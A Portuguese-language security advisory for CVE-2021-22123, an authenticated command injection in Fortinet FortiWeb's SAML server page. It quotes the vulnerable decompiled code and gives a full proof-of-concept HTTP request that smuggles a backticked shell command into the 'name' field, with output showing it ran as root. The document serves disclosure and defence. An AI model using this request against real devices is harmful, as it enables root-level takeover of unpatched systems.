
[CVE-2021-22123] Fortinet FortiWeb Injeção Autenticada de Comando no SO
[CVE-2021-22123] Injeção Autenticada de Comandos do Sistema Operacional no Fortinet FortiWeb
Hit Counter
A vulnerabilidade de injeção de comandos na interface de gerenciamento do FortiWeb pode permitir que um atacante remoto autenticado execute comandos arbitrários no sistema por meio da página de configuração do servidor SAML. A execução de comandos com privilégios máximos resultará na obtenção de controle total do servidor pelo atacante. Este é um exemplo de CWE-78: Improper Neutralization of Special Elements used in an OS Command e possui uma pontuação base CVSSv3 de 8.7. Esta vulnerabilidade tem o número CVE-2021-22123, que foi corrigida na página do FortiGuard Lab (FG-IR-20-120)
Basicamente, SAML é a sigla para Security Assertion Markup Language e é um padrão aberto baseado em XML para transferir dados de identidade entre duas partes: um provedor de identidade (IdP) e um provedor de serviço (SP). Ele foi projetado para garantir o funcionamento de um mecanismo de Single Sign-On, que permite acessar vários produtos de software usando um único identificador.
As versões do FortiWeb anteriores à 6.3.7 e abaixo são afetadas pela vulnerabilidade de injeção autenticada de comandos do sistema operacional. A exploração bem-sucedida dessa vulnerabilidade pode levar à obtenção de controle total do dispositivo afetado, com os mais altos privilégios possíveis. Eles podem instalar um shell persistente, software de mineração de criptomoedas ou outro software malicioso. Na improvável eventualidade de a interface de gerenciamento estar exposta à internet, eles poderiam usar a plataforma comprometida para alcançar a rede afetada além da DMZ.
Um atacante, primeiramente autenticado na interface de gerenciamento do dispositivo FortiWeb, pode injetar comandos usando crases no campo name da página de configuração do servidor SAML. Esses comandos são então executados como o usuário root do sistema operacional subjacente. A parte vulnerável do código é ilustrada abaixo.
int move_metafile(char * path, char * name) {
int iVar1;
char buf[512];
int nret;
snprintf(buf, 0x200, "%s/%s", "/data/etc/saml/shibboleth/service_providers", name);
iVar1 = access(buf, 0);
if (iVar1 != 0) {
snprintf(buf, 0x200, "mkdir %s/%s", "/data/etc/saml/shibboleth/service_providers", name);
iVar1 = system(buf);
if (iVar1 != 0) {
return iVar1;
}
}
snprintf(buf, 0x200, "cp %s %s/%s/%s.%s", path, "/data/etc/saml/shibboleth/service_providers", name,
"Metadata", & DAT_00212758);
iVar1 = system(buf);
return iVar1;
}
Prova de Conceito (PoC): A seguinte solicitação POST pode ser usada para explorar essa vulnerabilidade.
POST /api/v2.0/user/remoteserver.saml HTTP/1.1
Host: vulnerablehost
Cookie: redacted
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11.5; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://vulnerablehost/root/user/remote-user/saml-user/
X-Csrftoken: 814940160
Content-Type: multipart/form-data; boundary=---------------------------94351131111899571381631694412
Content-Length: 3068
Origin: https://vulnerablehost
Dnt: 1
Te: trailers
Connection: close
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="q_type"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="name"
`touch /tmp/CVE-2021-22123`
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="entityID"
test
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="service-path"
/saml.sso
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="session-lifetime"
8
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="session-timeout"
30
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-bind"
post
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-bind_val"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-path"
/SAML2/POST
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-bind"
post
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-bind_val"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-path"
/SLO/POST
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="flag"
0
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="enforce-signing"
disable
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="enforce-signing_val"
0
-----------------------------94351131111899571381631694412
HTTP/1.1 500 Internal Server Error
Date: Thu, 18 Aug 2021 15:47:45 GMT
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Set-Cookie: redacted
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Security-Policy: frame-ancestors 'self'
X-Content-Type-Options: nosniff
Content-Length: 20
Strict-Transport-Security: max-age=63072000
Connection: close
Content-Type: application/json
{"errcode": "-651"}
Por fim, os resultados do comando 'touch' podem ser vistos na linha de comando local do dispositivo FortiWeb
/# ls -l /tmp/CVE-2021-22123
-rw-r--r-- 1 root 0 0 Aug 10 15:48 /tmp/CVE-2021-22123
Referências: